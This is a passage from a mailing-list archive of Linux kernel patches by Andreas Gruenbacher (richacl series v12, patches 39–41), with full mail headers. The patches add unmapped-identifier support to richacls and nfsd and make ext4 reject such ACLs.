, "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 39/49] richacl: Add support for unmapped identifiers Date: Fri, 23 Oct 2015 20:41:52 +0200 X-ASG-Orig-Subj: [PATCH v12 39/49] richacl: Add support for unmapped identifiers Message-Id: <1445625722-13791-40-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625995 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Some remote file systems like nfs may return user or group identifiers that cannot be mapped to local uids / gids. Allow to represent such unmapped identifiers in richacls. (We still cannot represent unmapped owners and owning groups, however.) In the in-memory representation, the richacl is followed by a list of NUL-terminated strings, with no padding. Entries with an unmapped identifier have the RICHACE_UNMAPPED_WHO flag set, and ace->e_id.offs specifies the offset into this list. Multiple entries can refer to the same offset. The xattr representation is similar, but ace->e_id is ignored, and the list of unmapped identifier strings contains a string for each acl entry whose RICHACE_UNMAPPED_WHO flag is set. Signed-off-by: Andreas Gruenbacher --- fs/richacl_base.c | 139 ++++++++++++++++++++++++++++++++++++++++--- fs/richacl_compat.c | 18 +++--- fs/richacl_inode.c | 4 +- fs/richacl_xattr.c | 69 +++++++++++++++++---- include/linux/richacl.h | 31 ++++++++-- include/uapi/linux/richacl.h | 2 + 6 files changed, 227 insertions(+), 36 deletions(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 2a9c448..641b1bb 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -23,22 +23,25 @@ MODULE_LICENSE("GPL"); /** - * richacl_alloc - allocate a richacl + * __richacl_alloc - allocate a richacl * @count: number of entries + * @unmapped_size: size to reserve for unmapped identifiers */ struct richacl * -richacl_alloc(int count, gfp_t gfp) +__richacl_alloc(unsigned int count, size_t unmapped_size, gfp_t gfp) { - size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + size_t size = sizeof(struct richacl) + count * sizeof(struct richace) + + unmapped_size; struct richacl *acl = kzalloc(size, gfp); if (acl) { atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; + acl->a_unmapped_size = unmapped_size; } return acl; } -EXPORT_SYMBOL_GPL(richacl_alloc); +EXPORT_SYMBOL_GPL(__richacl_alloc); /** * richacl_clone - create a copy of a richacl @@ -47,7 +50,8 @@ struct richacl * richacl_clone(const struct richacl *acl, gfp_t gfp) { int count = acl->a_count; - size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + size_t size = sizeof(struct richacl) + count * sizeof(struct richace) + + acl->a_unmapped_size; struct richacl *dup = kmalloc(size, gfp); if (dup) { @@ -59,6 +63,9 @@ richacl_clone(const struct richacl *acl, gfp_t gfp) /** * richace_copy - copy an acl entry + * + * If @from has an unmapped who value (from->e_flags & RICHACE_UNMAPPED_WHO), + * it can only be copied within the same acl! */ void richace_copy(struct richace *to, const struct richace *from) @@ -66,6 +73,82 @@ richace_copy(struct richace *to, const struct richace *from) memcpy(to, from, sizeof(struct richace)); } +/** + * richacl_add_unmapped_identifier + * @pacl: Pointer to an acl + * @pace: acl entry within @acl + * @who: unmapped identifier + * @len: length of @who + * @gfp: memory allocation flags + * + * Add an unmapped identifier to an acl, possibly reallocating the acl. + */ +int richacl_add_unmapped_identifier(struct richacl **pacl, + struct richace **pace, + const char *who, + unsigned int len, gfp_t gfp) +{ + struct richacl *acl = *pacl; + size_t size = sizeof(struct richacl) + + acl->a_count * sizeof(struct richace) + + acl->a_unmapped_size + len + 1; + unsigned int index = *pace - acl->a_entries; + + acl = krealloc(*pacl, size, gfp); + if (acl) { + char *unmapped = (char *)(acl->a_entries + acl->a_count); + struct richace *ace = acl->a_entries + index; + + ace->e_flags |= RICHACE_UNMAPPED_WHO; + ace->e_flags &= ~RICHACE_SPECIAL_WHO; + ace->e_id.offs = acl->a_unmapped_size; + memcpy(unmapped + ace->e_id.offs, who, len); + unmapped[ace->e_id.offs + len] = 0; + acl->a_unmapped_size += len + 1; + *pace = ace; + *pacl = acl; + return 0; + } + return -1; +} +EXPORT_SYMBOL_GPL(richacl_add_unmapped_identifier); + +/** + * richace_unmapped_identifier - get unmapped identifier + * @acl: acl containing @ace + * @ace: acl entry + * + * Get the unmapped identifier of @ace as a NUL-terminated string, or NULL if + * @ace doesn't have an unmapped identifier. + */ +const char *richace_unmapped_identifier(const struct richace *ace, + const struct richacl *acl) +{ + const char *unmapped = (char *)(acl->a_entries + acl->a_count); + + if (!(ace->e_flags & RICHACE_UNMAPPED_WHO)) + return NULL; + return unmapped + ace->e_id.offs; +} +EXPORT_SYMBOL(richace_unmapped_identifier); + +/** + * richacl_has_unmapped_identifiers + * + * Check if an acl has unmapped identifiers. + */ +bool richacl_has_unmapped_identifiers(struct richacl *acl) +{ + struct richace *ace; + + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_UNMAPPED_WHO) + return true; + } + return false; +} +EXPORT_SYMBOL_GPL(richacl_has_unmapped_identifiers); + /* * richacl_mask_to_mode - compute the file permission bits from mask * @mask: %RICHACE_* permission mask @@ -214,7 +297,7 @@ static unsigned int richacl_allowed_to_who(struct richacl *acl, richacl_for_each_entry_reverse(ace, acl) { if (richace_is_inherit_only(ace)) continue; - if (richace_is_same_identifier(ace, who) || + if (richace_is_same_identifier(acl, ace, who) || richace_is_everyone(ace)) { if (richace_is_allow(ace)) allowed |= ace->e_mask; @@ -505,45 +588,72 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) const struct richace *dir_ace; struct richacl *acl = NULL; struct richace *ace; - int count = 0; + unsigned int count = 0, unmapped_size = 0, offset = 0; + const char *dir_unmapped; + char *unmapped; if (isdir) { richacl_for_each_entry(dir_ace, dir_acl) { if (!richace_is_inheritable(dir_ace)) continue; + count++; + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) + unmapped_size += strlen(dir_unmapped) + 1; } if (!count) return NULL; - acl = richacl_alloc(count, GFP_KERNEL); + acl = __richacl_alloc(count, unmapped_size, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); ace = acl->a_entries; + unmapped = (char *)(acl->a_entries + acl->a_count); richacl_for_each_entry(dir_ace, dir_acl) { if (!richace_is_inheritable(dir_ace)) continue; + richace_copy(ace, dir_ace); if (dir_ace->e_flags & RICHACE_NO_PROPAGATE_INHERIT_ACE) ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; else if (!(dir_ace->e_flags & RICHACE_DIRECTORY_INHERIT_ACE)) ace->e_flags |= RICHACE_INHERIT_ONLY_ACE; + + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) { + size_t sz = strlen(dir_unmapped) + 1; + + ace->e_id.offs = offset; + memcpy(unmapped, dir_unmapped, sz); + unmapped += sz; + offset += sz; + } ace++; } } else { richacl_for_each_entry(dir_ace, dir_acl) { if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) continue; + count++; + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) + unmapped_size += strlen(dir_unmapped) + 1; } if (!count) return NULL; - acl = richacl_alloc(count, GFP_KERNEL); + acl = __richacl_alloc(count, unmapped_size, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); ace = acl->a_entries; + unmapped = (char *)(acl->a_entries + acl->a_count); richacl_for_each_entry(dir_ace, dir_acl) { if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) continue; + richace_copy(ace, dir_ace); ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; /* @@ -551,6 +661,17 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) * non-directories, so clear it. */ ace->e_mask &= ~RICHACE_DELETE_CHILD; + + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) { + size_t sz = strlen(dir_unmapped) + 1; + + ace->e_id.offs = offset; + memcpy(unmapped, dir_unmapped, sz); + unmapped += sz; + offset += sz; + } ace++; } } diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 3a11773..24b5397 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -71,11 +71,13 @@ richacl_insert_entry(struct richacl_alloc *alloc, struct richace **ace) { struct richacl *acl = alloc->acl; unsigned int index = *ace - acl->a_entries; - size_t tail_size = (acl->a_count - index) * sizeof(struct richace); + size_t tail_size = (acl->a_count - index) * sizeof(struct richace) + + acl->a_unmapped_size; if (alloc->count == acl->a_count) { size_t new_size = sizeof(struct richacl) + - (acl->a_count + 1) * sizeof(struct richace); + (acl->a_count + 1) * sizeof(struct richace) + + acl->a_unmapped_size; acl = krealloc(acl, new_size, GFP_KERNEL); if (!acl) @@ -103,10 +105,6 @@ struct richace *richacl_append_entry(struct richacl_alloc *alloc) struct richacl *acl = alloc->acl; struct richace *ace = acl->a_entries + acl->a_count; - if (alloc->count > alloc->acl->a_count) { - acl->a_count++; - return ace; - } return richacl_insert_entry(alloc, &ace) ? NULL : ace; } EXPORT_SYMBOL_GPL(richacl_append_entry); @@ -261,12 +259,12 @@ __richacl_propagate_everyone(struct richacl_alloc *alloc, struct richace *who, if (richace_is_inherit_only(ace)) continue; if (richace_is_allow(ace)) { - if (richace_is_same_identifier(ace, who)) { + if (richace_is_same_identifier(acl, ace, who)) { allow &= ~ace->e_mask; allow_last = ace; } } else if (richace_is_deny(ace)) { - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) allow &= ~ace->e_mask; else if (allow & ace->e_mask) allow_last = NULL; @@ -613,7 +611,7 @@ __richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, richacl_for_each_entry(ace, acl) { if (richace_is_inherit_only(ace)) continue; - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) deny &= ~ace->e_mask; } if (!deny) @@ -629,7 +627,7 @@ __richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, if (richace_is_inherit_only(ace)) continue; if (richace_is_deny(ace)) { - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) return richace_change_mask(alloc, &ace, ace->e_mask | deny); } else if (richace_is_allow(ace) && diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 24276da..026abae 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -161,8 +161,10 @@ richacl_permission(struct inode *inode, const struct richacl *acl, } else if (richace_is_unix_group(ace)) { if (!in_group_p(ace->e_id.gid)) continue; - } else + } else if (richace_is_everyone(ace)) goto entry_matches_everyone; + else + continue; /* * Apply the group file mask to entries other than owner@ and diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c index 767c1f7..09b1012 100644 --- a/fs/richacl_xattr.c +++ b/fs/richacl_xattr.c @@ -35,7 +35,8 @@ richacl_from_xattr(struct user_namespace *user_ns, const struct richace_xattr *xattr_ace = (void *)(xattr_acl + 1); struct richacl *acl; struct richace *ace; - int count; + unsigned int count, offset; + char *unmapped; if (size < sizeof(*xattr_acl) || xattr_acl->a_version != RICHACL_XATTR_VERSION || @@ -45,10 +46,11 @@ richacl_from_xattr(struct user_namespace *user_ns, count = le16_to_cpu(xattr_acl->a_count); if (count > RICHACL_XATTR_MAX_COUNT) return ERR_PTR(-EINVAL); - if (size != count * sizeof(*xattr_ace)) + if (size < count * sizeof(*xattr_ace)) return ERR_PTR(-EINVAL); + size -= count * sizeof(*xattr_ace); - acl = richacl_alloc(count, GFP_NOFS); + acl = __richacl_alloc(count, size, GFP_NOFS); if (!acl) return ERR_PTR(-ENOMEM); @@ -63,6 +65,16 @@ richacl_from_xattr(struct user_namespace *user_ns, if (acl->a_other_mask & ~RICHACE_VALID_MASK) goto fail_einval; + unmapped = (char *)(acl->a_entries + count); + if (size) { + char *xattr_unmapped = (char *)(xattr_ace + count); + + if (xattr_unmapped[size - 1] != 0) + goto fail_einval; + memcpy(unmapped, xattr_unmapped, size); + } + offset = 0; + richacl_for_each_entry(ace, acl) { ace->e_type = le16_to_cpu(xattr_ace->e_type); ace->e_flags = le16_to_cpu(xattr_ace->e_flags); @@ -74,6 +86,15 @@ richacl_from_xattr(struct user_namespace *user_ns, ace->e_id.special = le32_to_cpu(xattr_ace->e_id); if (ace->e_id.special > RICHACE_EVERYONE_SPECIAL_ID) goto fail_einval; + } else if (ace->e_flags & RICHACE_UNMAPPED_WHO) { + size_t sz; + + if (offset == size) + goto fail_einval; + ace->e_id.offs = offset; + sz = strlen(unmapped) + 1; + unmapped += sz; + offset += sz; } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { u32 id = le32_to_cpu(xattr_ace->e_id); @@ -90,10 +111,12 @@ richacl_from_xattr(struct user_namespace *user_ns, if (ace->e_type > RICHACE_ACCESS_DENIED_ACE_TYPE || (ace->e_mask & ~RICHACE_VALID_MASK)) goto fail_einval; - xattr_ace++; } + if (offset != size) + goto fail_einval; + return acl; fail_einval: @@ -109,8 +132,15 @@ size_t richacl_xattr_size(const struct richacl *acl) { size_t size = sizeof(struct richacl_xattr); + const struct richace *ace; size += sizeof(struct richace_xattr) * acl->a_count; + richacl_for_each_entry(ace, acl) { + const char *unmapped = richace_unmapped_identifier(ace, acl); + + if (unmapped) + size += strlen(unmapped) + 1; + } return size; } EXPORT_SYMBOL_GPL(richacl_xattr_size); @@ -129,6 +159,7 @@ richacl_to_xattr(struct user_namespace *user_ns, struct richace_xattr *xattr_ace; const struct richace *ace; size_t real_size; + char *xattr_unmapped; real_size = richacl_xattr_size(acl); if (!buffer) @@ -145,18 +176,33 @@ richacl_to_xattr(struct user_namespace *user_ns, xattr_acl->a_other_mask = cpu_to_le32(acl->a_other_mask); xattr_ace = (void *)(xattr_acl + 1); + xattr_unmapped = (char *)(xattr_ace + acl->a_count); richacl_for_each_entry(ace, acl) { + const char *who; + xattr_ace->e_type = cpu_to_le16(ace->e_type); xattr_ace->e_flags = cpu_to_le16(ace->e_flags); xattr_ace->e_mask = cpu_to_le32(ace->e_mask); if (ace->e_flags & RICHACE_SPECIAL_WHO) xattr_ace->e_id = cpu_to_le32(ace->e_id.special); - else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) - xattr_ace->e_id = - cpu_to_le32(from_kgid(user_ns, ace->e_id.gid)); - else - xattr_ace->e_id = - cpu_to_le32(from_kuid(user_ns, ace->e_id.uid)); + else { + who = richace_unmapped_identifier(ace, acl); + if (who) { + size_t sz = strlen(who) + 1; + + xattr_ace->e_id = 0; + memcpy(xattr_unmapped, who, sz); + xattr_unmapped += sz; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + u32 id = from_kgid(user_ns, ace->e_id.gid); + + xattr_ace->e_id = cpu_to_le32(id); + } else { + u32 id = from_kuid(user_ns, ace->e_id.uid); + + xattr_ace->e_id = cpu_to_le32(id); + } + } xattr_ace++; } return real_size; @@ -262,7 +308,8 @@ static void richacl_fix_xattr_userns( return; count = size / sizeof(*xattr_ace); for (; count; count--, xattr_ace++) { - if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO)) + if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO | + RICHACE_UNMAPPED_WHO)) continue; if (xattr_ace->e_flags & cpu_to_le16(RICHACE_IDENTIFIER_GROUP)) { diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 10bfd0f..52e5c3d 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -27,6 +27,7 @@ struct richace { kuid_t uid; kgid_t gid; unsigned int special; + unsigned short offs; /* unmapped offset */ } e_id; }; @@ -37,6 +38,7 @@ struct richacl { unsigned int a_other_mask; unsigned short a_count; unsigned short a_flags; + unsigned short a_unmapped_size; struct richace a_entries[0]; }; @@ -182,14 +184,28 @@ richace_is_deny(const struct richace *ace) * richace_is_same_identifier - are both identifiers the same? */ static inline bool -richace_is_same_identifier(const struct richace *a, const struct richace *b) +richace_is_same_identifier(const struct richacl *acl, + const struct richace *ace1, + const struct richace *ace2) { - return !((a->e_flags ^ b->e_flags) & - (RICHACE_SPECIAL_WHO | RICHACE_IDENTIFIER_GROUP)) && - !memcmp(&a->e_id, &b->e_id, sizeof(a->e_id)); + const char *unmapped = (char *)(acl->a_entries + acl->a_count); + + return !((ace1->e_flags ^ ace2->e_flags) & + (RICHACE_SPECIAL_WHO | + RICHACE_IDENTIFIER_GROUP | + RICHACE_UNMAPPED_WHO)) && + ((ace1->e_flags & RICHACE_UNMAPPED_WHO) ? + !strcmp(unmapped + ace1->e_id.offs, + unmapped + ace2->e_id.offs) : + !memcmp(&ace1->e_id, &ace2->e_id, sizeof(ace1->e_id))); +} + +extern struct richacl *__richacl_alloc(unsigned int, size_t, gfp_t); +static inline struct richacl *richacl_alloc(unsigned int count, gfp_t gfp) +{ + return __richacl_alloc(count, 0, gfp); } -extern struct richacl *richacl_alloc(int, gfp_t); extern struct richacl *richacl_clone(const struct richacl *, gfp_t); extern void richace_copy(struct richace *, const struct richace *); extern int richacl_masks_to_mode(const struct richacl *); @@ -199,6 +215,11 @@ extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); extern int richacl_equiv_mode(const struct richacl *, umode_t *); extern struct richacl *richacl_inherit(const struct richacl *, int); +extern int richacl_add_unmapped_identifier(struct richacl **, struct richace **, + const char *, unsigned int, gfp_t); +extern const char *richace_unmapped_identifier(const struct richace *, + const struct richacl *); +extern bool richacl_has_unmapped_identifiers(struct richacl *); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h index 8849a53..132fee1 100644 --- a/include/uapi/linux/richacl.h +++ b/include/uapi/linux/richacl.h @@ -35,6 +35,7 @@ #define RICHACE_INHERIT_ONLY_ACE 0x0008 #define RICHACE_IDENTIFIER_GROUP 0x0040 #define RICHACE_INHERITED_ACE 0x0080 +#define RICHACE_UNMAPPED_WHO 0x2000 #define RICHACE_SPECIAL_WHO 0x4000 /* e_mask bitflags */ @@ -77,6 +78,7 @@ RICHACE_INHERIT_ONLY_ACE | \ RICHACE_IDENTIFIER_GROUP | \ RICHACE_INHERITED_ACE | \ + RICHACE_UNMAPPED_WHO | \ RICHACE_SPECIAL_WHO ) #define RICHACE_INHERITANCE_FLAGS ( \ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2B41229E59 for ; Fri, 23 Oct 2015 13:46:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AF492AC002 for ; Fri, 23 Oct 2015 11:46:43 -0700 (PDT) X-ASG-Debug-ID: 1445626002-04cb6c7b863e100001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ssiihzI93BuJopNy (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:42 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id DCCC28C1D6; Fri, 23 Oct 2015 18:46:41 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f9026588; Fri, 23 Oct 2015 14:46:35 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 40/49] nfsd: Add support for unmapped richace identifiers Date: Fri, 23 Oct 2015 20:41:53 +0200 X-ASG-Orig-Subj: [PATCH v12 40/49] nfsd: Add support for unmapped richace identifiers Message-Id: <1445625722-13791-41-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626002 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add support for encoding unmapped identifiers in richacl entries: local filesystems are not usually supposed to store unmapped identifiers, but allowing that for debugging purposes can be useful; for that, nfsd must also be able to encode them. Signed-off-by: Andreas Gruenbacher --- fs/nfsd/acl.h | 2 +- fs/nfsd/nfs4acl.c | 17 +++++++++++------ fs/nfsd/nfs4xdr.c | 4 ++-- 3 files changed, 14 insertions(+), 9 deletions(-) diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index d73c664..4935144 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -51,7 +51,7 @@ struct svc_rqst; __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, char *who, u32 len); __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct richace *ace); + struct richace *ace, struct richacl *acl); struct richacl *nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry); __be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index f017a76..3cc83fd 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -885,17 +885,22 @@ __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, } __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct richace *ace) + struct richace *ace, struct richacl *acl) { - if (ace->e_flags & RICHACE_SPECIAL_WHO) { - unsigned int special_id = ace->e_id.special; + if (ace->e_flags & (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) { const char *who; unsigned int len; __be32 *p; - if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { - WARN_ON_ONCE(1); - return nfserr_serverfault; + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + if (!nfs4acl_special_id_to_who(ace->e_id.special, + &who, &len)) { + WARN_ON_ONCE(1); + return nfserr_serverfault; + } + } else { + who = richace_unmapped_identifier(ace, acl); + len = strlen(who); } p = xdr_reserve_space(xdr, len + 4); if (!p) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 33d028c..8728d0e 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -2325,7 +2325,7 @@ static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, { __be32 *p; - flags_mask &= ~RICHACE_SPECIAL_WHO; + flags_mask &= ~(RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO); p = xdr_reserve_space(xdr, 4); if (!p) @@ -2347,7 +2347,7 @@ static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, *p++ = cpu_to_be32(ace->e_type); *p++ = cpu_to_be32(ace->e_flags & flags_mask); *p++ = cpu_to_be32(ace->e_mask & ace_mask); - status = nfsd4_encode_ace_who(xdr, rqstp, ace); + status = nfsd4_encode_ace_who(xdr, rqstp, ace, acl); if (status) return status; } -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 085A229E27 for ; Fri, 23 Oct 2015 13:46:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6D88AC003 for ; Fri, 23 Oct 2015 11:46:49 -0700 (PDT) X-ASG-Debug-ID: 1445626008-04bdf0330941610001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0aQNipOtvFdQS4e0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:49 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 96C2EC0BEAA1; Fri, 23 Oct 2015 18:46:48 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fA026588; Fri, 23 Oct 2015 14:46:42 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 41/49] ext4: Don't allow unmapped identifiers in richacls Date: Fri, 23 Oct 2015 20:41:54 +0200 X-ASG-Orig-Subj: [PATCH v12 41/49] ext4: Don't allow unmapped identifiers in richacls Message-Id: <1445625722-13791-42-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626008 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Don't allow acls which contain unmapped identifiers: they are meaningful for remote file systems only. Signed-off-by: Andreas Gruenbacher --- fs/ext4/richacl.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/ext4/richacl.c b/fs/ext4/richacl.c index 906d048..2115385 100644 --- a/fs/ext4/richacl.c +++ b/fs/ext4/richacl.c @@ -74,6 +74,10 @@ __ext4_set_richacl(handle_t *handle, struct inode *inode, struct richacl *acl) int retval, size; void *value; + /* Don't allow acls with unmapped identifiers. */ + if (richacl_has_unmapped_identifiers(acl)) + return -EINVAL; + if (richacl_equiv_mode(acl, &mode) == 0) { inode->i_ctime = ext4_current_time(inode); inode->i_mode = mode; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D461029E27 for ; Fri, 23 Oct 2015 13:46:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 75165AC001 for ; Fri, 23 Oct 2015 11:46:58 -0700 (PDT) X-ASG-Debug-ID: 1445626015-04bdf0330b41620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8xhgjp3ivQdkGs5Q (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:55 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com 